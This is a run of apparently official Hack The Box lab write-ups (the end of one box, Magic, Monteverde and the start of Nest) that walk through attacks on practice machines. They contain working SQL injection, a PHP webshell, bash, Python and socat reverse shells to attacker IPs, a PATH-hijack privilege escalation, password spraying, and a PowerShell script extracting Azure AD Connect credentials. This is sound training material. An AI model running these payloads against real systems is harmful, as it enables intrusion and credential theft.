curl -X POST http://10.10.10.137:3000/login -d ​"username=admin&password=admin"​ ;
echo

The page replies with forbidden. Let’s try again with the credentials we gained earlier.

curl -X POST http://10.10.10.137:3000/login -d


"username=root&password=Zk6heYCyv6ZE9Xcg"​ ; ​echo

This also returns a forbidden message. However, after changing the username to “admin”
authentication is successful.

Now we have the JWT cookies and can authenticate against the previous application.

curl -s http://10.10.10.137:3000/ -H ​'Authorization: Bearer


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNT
U4ODU1NTYzLCJleHAiOjE1NTg5NDE5NjN9.s7ZbrqwW--H6Ae-UWs3VeO21U2XRwfNEDeL0gAYI
pX0'​ | jq

Page 8 / 13
And we see the Welcome message. Let’s view the /users path using this cookie.

curl -s http://10.10.10.137:3000/users -H ​'Authorization: Bearer


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNT
U4ODU1NTYzLCJleHAiOjE1NTg5NDE5NjN9.s7ZbrqwW--H6Ae-UWs3VeO21U2XRwfNEDeL0gAYI
pX0'​ | jq

We see the user information and their roles. Let’s try going to /users/:username.

Page 9 / 13
curl -s http://10.10.10.137:3000/users/Admin -H ​'Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNT
U4ODU1NTYzLCJleHAiOjE1NTg5NDE5NjN9.s7ZbrqwW--H6Ae-UWs3VeO21U2XRwfNEDeL0gAYI
pX0'​ | jq

The request is successful and we receive new credentials for Admin. The process is repeated for
the other three users.

Page 10 / 13
FOOTHOLD

After checking these credentials against the /management page, we find that the user Derry can
login.

Once logged in, we’ll find the configuration files and the login.php file. The config.php and
login.php are same as earlier but the config.json is different.

It seems to be the configuration for Ajenti on port 8000. Scrolling down a bit we see the
password :

Page 11 / 13
AJENTI

The credentials ​root / KpMasng6S5EtTy9Z​ are used to login to Ajenti.

On the navigation bar to the left, there’s a “Terminal” tab. Click on this, click “New”, and then click
on the terminal. This should open up a root terminal.

A shell can be gained by using nc.

Page 12 / 13
And we are root !

Page 13 / 13
Magic
15th June 2020 / Document No D20.100.76

Prepared By: bertolis

Machine Author: TRX

Difficulty: Easy

Classification: Official
Synopsis
Magic is an easy difficulty Linux machine that features a custom web application. A SQL injection
vulnerability in the login form is exploited, in order to bypass the login and gain access to an
upload page. Weak whitelist validation allows for uploading a PHP webshell, which is used to gain
command execution. The MySQL database is found to contain plaintext credentials, which are re-
used for lateral movement. A path hijacking vector combined with assigned SUID permissions
leads to full system compromise.

Skills Required
Basic Knowledge of PHP
Linux Enumeration

Skills Learned
Basic SQL Injection
PHP File Upload Whitelist Bypass
Path Hijacking
SUID Abuse
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.185 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.185

Nmap output reveals that this is an Ubuntu Linux machine featuring OpenSSH and Apache
servers on their default ports.

Apache
Navigating to the site on port 80 reveals the page below.
This reveals an image gallery. Clicking on the Login button in the footer takes us to a login page.

However, common credentials such as admin / password and admin / admin don't work.

Gobuster
Let's enumerate the web server to see if it is hosting any other files or directories.

gobuster dir -u 10.10.10.185 -w /usr/share/dirb/wordlists/common.txt -x php


Browsing to upload.php redirects us to the login screen. Gobuster output also reveals an
images directory, which is potentially interesting given the nature of the website. Further
enumeration of this subdirectory reveals an uploads folder. Let's save this information for later.

gobuster dir -u 10.10.10.185/images -w /usr/share/dirb/wordlists/common.txt -x


php

We can attempt to bypass the login page through SQL injection. The Username and Password
fields of the login form are found to be vulnerable to SQL injection, using a basic payload such as
' or 1=1-- - .

As expected, we gain access to a page that allows us to upload images.


Foothold
We can try to upload a PHP reverse shell, but this is unsuccessful as we find that the website only
permits specific file types.

It seems that the application logic checks if the file that is being uploaded has a jpeg , jpg or
png extension. According to the Apache Documentation, files can have more than one extension
while the order is normally irrelevant. When a file with multiple extensions gets associated with
both a media-type and a handler, it will result in the request being handled by the module
associated with the handler. For example, let's say that we have the file test.php.jpg with the
.php extension mapped to the handler application/x-httpd-php , and the .jpg extension
mapped to the image/jpeg media-type. Then, the application/x-httpd-php handler will be
used and it will be treated as an php file.

This could cause security issues, when a user is allowed to create files with multiple extensions in
a public upload directory. Consider an .htaccess file containing the configuration bellow, which
only allows the server to execute .phar , .php or .phtml files.

<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>

This is secure, as the latest versions of Apache are hardened against this attack. Sometimes
however, the regular expression can be misconfigured, making the Apache server to be
vulnerable to such an attack. The following configuration could be considered vulnerable. In this
case, the $ matching the end of the line is missing from the regex, meaning that that .php.jpg
would be associated with the PHP handler.

<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

Let's attempt to exploit this and create a simple PHP webshell.

echo '<?=`$_GET[0]`?' > webshell.php.jpg


This wasn't successful, and it seems that there is an additional validation technique in place. A
common technique is checking the magic bytes of the file. In PHP, this could be achieved by the
snippet below.

if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
echo 'The picture is not a gif';
}

Magic bytes are used to identify the type of the file, and are usually found at the beginning of it.
Other files have the magic bytes at their offset, while some other files (such as plain text files) do
not have magic bytes at all. The position of the magic bytes also varies on different filesystems.

Adding magic bytes for the JPG format to our PHP file might let us bypass this check. We can refer
to the list of magic bytes here. Valid magic bytes for a JPG/JPEG file are.

1. FF D8 FF DB
2. FF D8 FF E0 00 10 4A 46 49 46 00 01
3. FF D8 FF EE
4. FF D8 FF E1 ?? ?? 45 78 69 66 00 00

Let's add these bytes to the beginning of our file.

echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg


echo '<?=`$_GET[0]`?>' >> webshell.php.jpg
This time the upload was successful.

Previous enumeration revealed the directory images/uploads . Let's check if the file was
uploaded there. Using the browser or cURL, the whoami command reveals that we have gained a
foothold on the machine as www-data .

http://10.10.10.185/images/uploads/webshell.php.jpg?0=whoami

Let's start a listener using Netcat, and attempt to get a reverse shell. A simple one liner bash
reverse shell such as bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 didn't work. Let's try Python.
Typing the command which python in the webshell doesn't return any results, although which
python3 does.

The following Python reverse shell one-liner can be used. Substitute your IP address and port as
required.

http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We can spawn a PTY shell using the following command.

python3 -c 'import pty; pty.spawn("/bin/bash")'


Lateral Movement
Enumerating the files present in the /var/www web directory reveals a Magic subdirectory,
which itself contains the file db.php5 . This file is found to contain database connection
credentials.

cat /var/www/Magic/db.php5

However, trying to switch to the user theseus with this password results in an authentication
failure. The MySQL server is not externally exposed, and the MySQL client is not installed on the
machine.

Let's forward the MySQL port (3306) and attempt to connect using our client. In order to do this,
we can use Chisel. We can download a precompiled version of Chisel form here. Decompress it
by issuing the command gzip -d chisel_1.7.0-rc8_linux_amd64.gz , and then upload it to the
remote machine. First, start an HTTP server.

python -m SimpleHTTPServer 8080

Next, issue the command below to download the binary, replacing it with your IP as appropriate.
cd /tmp
wget http://10.10.14.7:8080/chisel_1.7.0-rc8_linux_amd64

With chisel uploaded to the remote machine, we need to start a server locally in order to
perform a reverse pivot.

./chisel_1.7.0-rc8_linux_amd64 server -p 8000 -reverse

On the remote machine, run the following command to connect to the chisel server we just
started. This will forward traffic from port 3306 on localhost of the remote machine to port 3306
on localhost of our machine.

chmod +x chisel_1.7.0-rc8_linux_amd64
./chisel_1.7.0-rc8_linux_amd64 client 10.10.14.7:8000 R:3306:127.0.0.1:3306 &
Finally, we can use our mysql client to connect to the server using the credentials theseus /
iamkingtheseus .

mysql -h 127.0.0.1 -P 3306 -u theseus -piamkingtheseus

We have access to a database called Magic .

show databases;

Switch to the database and then list the tables.


use Magic;
show tables;

It is found to have a singe table called login . Let's examine the data it contains.

select * from login;

This reveals the plaintext password for user admin . The password Th3s3usW4sK1ng can be
reused to login as theseus .

su theseus

The user flag is located in /home/theseus/user.txt .


Privilege Escalation
The following command can be used to enumerate SUID files on the box.

find / -perm -4000 -exec ls -l {} \; 2>/dev/null

This reveals the interesting binary /bin/sysinfo . The SUID bit s ensures that the program is
run with root privileges. Executing the binary returns system information, which low-privileged
users don't usually have access to.

The strings command can be used to list printable strings contained in the binary. This reveals
the commands it invokes in order to retrieve system information.

strings /bin/sysinfo
Looking at the CPU Info section, the program is seen to use cat /proc/cpuinfo instead of
/bin/cat /proc/cpuinfo . The /bin directory containing the cat binary is included in the
user's PATH environment variable. The PATH variable is used by the system to identify the
directories it should search, in order to locate a binary. Let's list the contents of the PATH
variable.

echo $PATH

The operating system searches the directories in turn, starting with the first directory. In our case,
the first directory that the OS will search is /usr/bin/local . If the executable is not located
there, it will continue searching in the next directory and so on. This behaviour can be exploited
by modifying the PATH variable to contain a directory that is writeable by our current user. Users
are allowed to modify the variable and prepend a directory. Let's add the /tmp directory to the
PATH .

export PATH=/tmp:$PATH
echo $PATH

The directory /tmp has been added to the beginning of PATH. In order to proceed with this
attack, we need to upload a precompiled version of socat.
python -m SimpleHTTPServer 8080

Next, issue the command below to download the binary, replacing it with your IP as appropriate.

wget http://10.10.14.7:8080/socat
chmod +x socat

Let's create a simple script in bash, that sends a reverse shell to our local machine, using socat .
Call it cat , and make it executable.

echo "./socat tcp-connect:10.10.14.7:5555


exec:/bin/sh,pty,stderr,setsid,sigint,sane" > cat
chmod +x cat

Finally, type nc -lvp 5555 to start a listener on our local machine, and execute sysinfo once
again. This results in execution of /tmp/cat before /usr/local/sbin/cat , executing our
malicious script.
The root flag is located in /root/root.txt .
Monteverde
23d March 2020 / Document No D20.100.64

Prepared By: TRX and egre55

Machine Author: egre55

Difficulty: Medium

Classification: Official
Synopsis
Monteverde is an easy Windows machine that features Azure AD Connect. The domain is
enumerated and a user list is created. Through password spraying, the SABatchJobs service
account is found to have the username as a password. Using this service account, it is possible to
enumerate SMB Shares on the system, and the $users share is found to be world-readable. An
XML file used for an Azure AD account is found within a user folder and contains a password.
Due to password reuse, we can connect to the domain controller as mhope using WinRM.
Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials
for the account that replicates the directory changes to Azure (in this case the default domain
administrator).

Skills Required
Basic Windows Enumeration
Basic Active Directory Enumeration

Skills Learned
Password Spraying
Using sqlcmd
Azure AD Connect Password Extraction
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.172 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.172

The scan reveals many ports open, including port 53 (DNS), 389 (LDAP) and 445 (SMB). This
reveals that the server is a domain controller. The domain is identified by Nmap as
MEGABANK.LOCAL .

Domain Enumeration
A good first step is to check for LDAP anonymous binds or SMB null sessions, as this would allow
us to enumerate the domain without credentials. Let's download windapsearch .

wget
https://raw.githubusercontent.com/ropnop/windapsearch/master/windapsearch.py

Next, issue the following command to check if LDAP anonymous binds are permitted.

python windapsearch.py -u "" --dc-ip 10.10.10.172


We can also enumerate the domain users.

python windapsearch.py -u "" --dc-ip 10.10.10.172 -U --admin-objects

[+] No username provided. Will try anonymous bind.


[+] Using Domain Controller at: 10.10.10.172
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=MEGABANK,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None

[+] Enumerating all AD users


[+] Found 10 users:

cn: Guest

cn: AAD_987d7f2f57d2

cn: Mike Hope


userPrincipalName: [email protected]

cn: SABatchJobs
userPrincipalName: [email protected]

cn: svc-ata
userPrincipalName: [email protected]

cn: svc-bexec
userPrincipalName: [email protected]

cn: svc-netapp
userPrincipalName: [email protected]

cn: Dimitris Galanos


userPrincipalName: [email protected]

cn: Ray O'Leary


userPrincipalName: [email protected]

cn: Sally Morgan


userPrincipalName: [email protected]
[+] Attempting to enumerate all admin (protected) objects
[+] Found 0 Admin Objects:

The output returns a few interesting users. SABatchJobs might be a service account dedicated to
running batch jobs, and is perhaps unusual for having a mixed-case name. The presence of the
account AAD_987d7f2f57d2 is a strong indication that AD Connect is installed in the domain. AD
Connect is a tool that is used to synchronize an on-premise Active Directory environment to
Azure Active Directory.

Using windapsearch we can further enumerate domain groups, and see which users belong to
Remote Management Users . This group allows its members to connect to computers using
PowerShell Remoting.

python windapsearch.py -u "" --dc-ip 10.10.10.172 -U -m "Remote Management


Users"

The user mhope is identified to be in the Remote Management Users group.

Let's use smbclient to test for SMB null sessions. Command output reports that the anonymous
login attempt was successful, although it failed to list any shares. We can attempt to get
credentials and access it again.

Let's use enum4linux to retrieve other domain information.

enum4linux -a 10.10.10.172
We note that the Account Lockout Threshold is set to None , so we can attempt a password
spray in order to obtain valid credentials.

windapsearch can be used to create a list of domain users.

python windapsearch.py -u "" --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f
2 | cut -d '@' -f 1 | uniq > users.txt
Foothold
We have our user list, and for our password spraying attempt we can use a very short list of
statistically likely passwords. It's worth appending the discovered usernames to this list, as having
a password of the username is unfortunately a common practice.

wget https://raw.githubusercontent.com/insidetrust/statistically-likely-
usernames/master/weak-corporate-passwords/english-basic.txt
cat users.txt >> english-basic.txt

Next, we can use CrackMapExec to perform the password spray, noting that there is no risk in the
accounts locking out owning to the absence of an account lockout policy.

crackmapexec smb 10.10.10.172 -d megabank -u users.txt -p english-basic.txt

SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Password1


STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Welcome1
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Letmein1
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Password123
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Welcome123
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:Letmein123
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\mhope:mhope
STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.10.172 445 MONTEVERDE [-] megabank\SABatchJobs:mhope
STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] megabank\SABatchJobs:SABatchJobs
This was successful and we have gained valid domain credentials: SABatchJobs / SABatchJobs .
Let's see if we can use this account to execute commands on the server.

smbmap -u SABatchJobs -p SABatchJobs -d megabank -H 10.10.10.172 -x whoami

This isn't successful. We can instead use smbmap to enumerate the remote file shares, which lists
our permissions.

Next, let's crawl the users$ share for potentially interesting files, such as Office documents, text
and XML files.

smbmap -u SABatchJobs -p SABatchJobs -d megabank -H 10.10.10.172 -A


'(xlsx|docx|txt|xml)' -R

This reveals the file azure.xml , which is automatically downloaded.

cat 10.10.10.172-users_mhope_azure.xml

��<Objs Version="1.1.0.1"
xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>

<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToStr
ing>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>

The file contains the Azure AD password 4n0therD4y@n0th3r$ . Let's check if mhope also uses
this password in the local AD. We can use WinRM to test the credentials, as we know this account
is in the Remote Management Users group.

evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'

This is successful, although the command whoami /priv reveals that the current user is not
privileged. However, whoami /groups reveals that this account is a member of the group
MEGABANK\Azure Admins .

The user flag is in C:\Users\mhope\Desktop .


Privilege Escalation
Navigating to C:\Program Files\ we can see that both Microsoft SQL Server and AD
Connect are installed. There are many articles published online regarding vulnerabilities and
privilege escalation opportunities with the Azure AD (AAD) Sync service.

*Evil-WinRM* PS C:\> cd Progra~1


*Evil-WinRM* PS C:\Program Files> ls

Directory: C:\Program Files

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 1/2/2020 9:36 PM Common Files

d----- 1/2/2020 2:46 PM internet explorer

d----- 1/2/2020 2:38 PM Microsoft Analysis Services

d----- 1/2/2020 3:37 PM Microsoft Azure Active


Directory Connect
d----- 1/2/2020 3:02 PM Microsoft Azure AD Connect
Health Sync
d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync

d----- 1/2/2020 2:31 PM Microsoft SQL Server

Let's find out the version of the AD Connect. According to the Microsoft documentation, the
name of the service responsible for syncing the local AD to Azure AD is ADSync . We don't see a
reference to this on running Get-Process , and attempting to run tasklist results in an Access
Denied error.

We can also try to enumerate services with the PowerShell cmdlet Get-Service , or by invoking
wmic.exe service get name , sc.exe query state= all or net.exe start , but are also
denied access. Instead, we can enumerate the service instance using the Registry.

Get-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ADSync


This reveals that the service binary is C:\Program Files\Microsoft Azure AD
Sync\Bin\miiserver.exe .

We can issue the command below to obtain the file (and product) version.

Get-ItemProperty -Path "C:\Program Files\Microsoft Azure AD


Sync\Bin\miiserver.exe" | Format-list -Property * -Force

Searching online reveals the adconnectdump tool, that can be used to extract the password for
the AD Connect Sync Account. The repo mentions that the way that AD connect stores credentials
changed a while back. The new version stores credentials using DPAPI and the old version used
the Registry. The current version of AD Connect at the time of writing is 1.5.30.0 , so the version
on the server is unlikely to use DPAPI. This tool works for newer versions of the AD Connect that
use DPAPI.

Some further searching reveals this blog post, which is recommended reading. It details the
exploitation process for the older version of AD Connect. Copy the script from the blog post and
save it locally.

Attempting to run this as is was not successful. Let's try to extract the instance_id , keyset_id
and entropy values from the database manually. A default installation of AD Connect uses a SQL
Server Express instance as a LocalDB, connecting over a named pipe. However, enumeration of
C:\Program Files and netstat reveals that Microsoft SQL Server is installed and bound to
10.10.10.172 (but isn't accessible externally). So this seems to have been a custom install of AD
Connect.
Instead, we can use the native SQL Server utility sqlcmd.exe to extract the values from the
database.

sqlcmd -S MONTEVERDE -Q "use ADsync; select instance_id,keyset_id,entropy from


mms_server_configuration"

This is successful and the values are returned.

Modify the script to set the $key_id , $instance_id and $entropy variables to the values we
extracted from the database, and remove the commands that try to obtain them automatically.
Add this after the first line of the script.

$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"

Remove the following lines.

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM
mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Next we will need to modify the existing $client variable to reference the custom SQL Server.

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList


"Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"

Let's encapsulate the script in a function that we can call. Save the final payload below as
adconnect.ps1 .

Function Get-ADConnectPassword{

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList


"Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration
FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'


$km = New-Object -TypeName
Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-


domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-
user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name
= 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)


Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

The -s flag in Evil-WinRM allows us to specify a folder containing PowerShell scripts. We can
load a script in memory within the Evil-WinRM session by typing the script name and hitting
return.
evil-winrm -i 10.10.10.172 -u mhope -p "4n0therD4y@n0th3r$" -s .
adconnect.ps1
Get-ADConnectPassword

This was successful, and we have obtained credentials for the AD Connect Sync account. In this
case, as it was a custom install, it seems the primary domain administrator was used for this. It's
worth noting that a default installation uses the NT SERVICE\ADSync service account.

Let's use Evil WinRM to connect as the administrator.

evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'

The root flag is located in C:\Users\Administrator\Desktop .


Nest
4th June 2020 / Document No D20.100.75

Prepared By: MinatoTW

Machine Author(s): VbScrub

Difficulty: Easy

Classification: Official
Synopsis
Nest is an easy difficulty Windows machine featuring an SMB server that permits guest access.
The shares can be enumerated to gain credentials for a low privileged user. This user is found to
have access to configuration files containing sensitive information. Another user's password is
found through source code analysis, which is used to gain a foothold on the box. A custom
service is found to be running, which is enumerated to find and decrypt Administrator
credentials.

Skills Required
Enumeration
Source Code Review

Skills Learned
.NET Development
SMB Enumeration
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.178 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.178

Nmap reports that SMB (port 445) is available, as well as an unknown Reporting Service
running on port 4386.

SMB
Let's check if the SMB server allows null sessions using SMBMap.
We were able to connect successfully and discover the three non-default shares Secure$ , Users
and Data . The guest user has read access to the Data and Users share. Let's attempt to
recursively list their contents.

The share is found to contain two text files that are both accessible to us. The files can be
downloaded using the --download flag.

The contents of both files are as follows.

## Maintenance Alerts.txt

There is currently no scheduled maintenance work


## Welcome Email.txt

We would like to extend a warm welcome to our newest member of staff,


<FIRSTNAME> <SURNAME>

You will find your home folder in the following location:


\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please


inform the
IT department and use the credentials below until all systems have been set up
for you.

Username: TempUser
Password: welcome2019

The Maintenance Alerts.txt file isn't of much help, but the second contains credentials for the
TempUser account. Let's run smbmap again with these credentials.

This provides us with access to the secure$ share.

We don't have permission to list folders within Secure$ . Let's look at the Data folder next.
We have access to many more files and folders than before. The folders contain a lot of XML files,
which could contain sensitive information. Let's download all the XML files using smbmap. The -
A argument can be used to download all files matching a pattern.

A case-insensitive grep for the string password reveals that RU_Config.xml contains a password
attribute.

Below are the contents of this file:


<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

The password for the user c.smith seems to be encrypted and isn't of much use. Let's look at
the other config files. The NotePadPlusPlus config is found to contain the following entries.

<History nbMaxFile="15" inSubMenu="no" customLength="-1">


<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>

The file Temp.txt is contained within nested subfolders of the Secure$ share. Let's try to
recursively list the IT\Carl subfolder.

We were able to list the contents successfully. The folder contains a Visual Basic project called
RUScanner . Let's mount the share locally and examine the files.

The file Utils.vb seems to be interesting, given the encrypted password we found earlier.

Imports System.Text
Imports System.Security.Cryptography

Public Class Utils

Public Shared Function DecryptString(EncryptedString As String) As String


If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2,
"464R5DFA5DL6LE28", 256)
End If
End Function

<SNIP>

Public Shared Function Decrypt(ByVal cipherText As String, _


ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String

Dim initVectorBytes As Byte()


initVectorBytes = Encoding.ASCII.GetBytes(initVector)

Dim saltValueBytes As Byte()


saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

Dim cipherTextBytes As Byte()


cipherTextBytes = Convert.FromBase64String(cipherText)

Dim password As New Rfc2898DeriveBytes(passPhrase, _


saltValueBytes, _
passwordIterations)

<SNIP>

The class contain methods for encrypting and decrypting passwords. We can use the
decryptString() function to decrypt the password gained earlier. As the code uses .NET
classes, it can be rewritten in any .NET based language. The code can be easily ported to C# and
compiled using mono on Linux. Mono is an open source implementation of the .NET framework
and can be installed by following these instructions.

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

namespace Dec {
class Decryptor {

public static void Main() {


var pt = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22",
"88552299", 2, "464R5DFA5DL6LE28", 256);
Console.WriteLine("Plaintext: " + pt);
}

public static String Decrypt(String cipherText, String passPhrase, String


saltValue, int passwordIterations, String initVector,int keySize) {
var initVectorBytes = Encoding.ASCII.GetBytes(initVector);
var saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
var cipherTextBytes = Convert.FromBase64String(cipherText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes,
passwordIterations);
var keyBytes = password.GetBytes(keySize / 8);
var symmetricKey = new AesCryptoServiceProvider();
symmetricKey.Mode = CipherMode.CBC;
var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes);
var memoryStream = new MemoryStream(cipherTextBytes);
var cryptoStream = new CryptoStream(memoryStream, decryptor,
CryptoStreamMode.Read);
var plainTextBytes = new byte[cipherTextBytes.Length];
var decryptedByteCount = cryptoStream.Read(plainTextBytes, 0,
plainTextBytes.Length);
memoryStream.Close();
cryptoStream.Close();
var plainText = Encoding.ASCII.GetString(plainTextBytes, 0,
decryptedByteCount);
return plainText;
}
}
}

The code above contains the same Decrypt() method in C# format. The encrypted password is
passed to the Decrypt() method along with the other parameters found in Utils .
Foothold
The password for c.smith is revealed to be xRxRxPANCAK3SxRxRx . Let's connect to the users
share using these credentials.

The user's home folder contains the flag and another subfolder. An empty file named "Debug
Mode Password.txt" is found. On examination of the file attributes, it seems that the file has
Alternate Data Streams (ADS) associated with it.

The file can be downloaded for further inspection.

Let's save this password for possible use later and continue enumeration.
Privilege Escalation
The folder contains an XML file as well as a binary, which are downloaded.

The XML file contains the following information.

<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

It appears to be a configuration file for the service running on port 4386 that we came across
earlier. Let's connect to this service.

The service allows us to run queries against a database.


The LIST command lists the files in the directory, while SETDIR lets us change the directory. The
RUNQUERY seems to error out due to invalid configuration. The DEBUG command seems to
require a password to operate. Let's use the password we found earlier.

The DEBUG command gives us access to a few more commands, namely SERVICE , SESSION and
SHOWQUERY .
The SERVICE command shows that the service directory is C:\Program Files\HQK . Switching to
that directory using SETDIR and listing it, shows a few more files and folders.

Listing the LDAP folder reveals the binary we found earlier along with a file named Ldap.conf .
Running SHOWQUERY against the file returns the contents, which appears to contain an encrypted
password for the Administrator user. Let's decompile the HqkLdap.exe binary to and examine
the decryption logic.
Using a file identifier such as DiE reveals that this is a Visual Basic .NET compiled binary.

A decompiler such as dnSpy can be used to view and debug the assembly. Import the binary into
dnSpy and expand the MainModule . The Main() method is found to read configuration from a
file passed through the command line.

The format is similar what we saw in Ldap.conf . It reads the encrypted password and calls the
CR.DS() method on it. Clicking on DS should navigate us to its definition.

The DS() method takes in the encrypted password and then calls CR.RD() with a few
parameters.
The RD() method then decrypts the string and returns the plaintext. A quick comparison
between this method and one found in Utils.vb proves that they are the same. This means we
can re-use the code from earlier and just change the parameters.

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

namespace Dec {
class Decryptor {

public static void Main() {


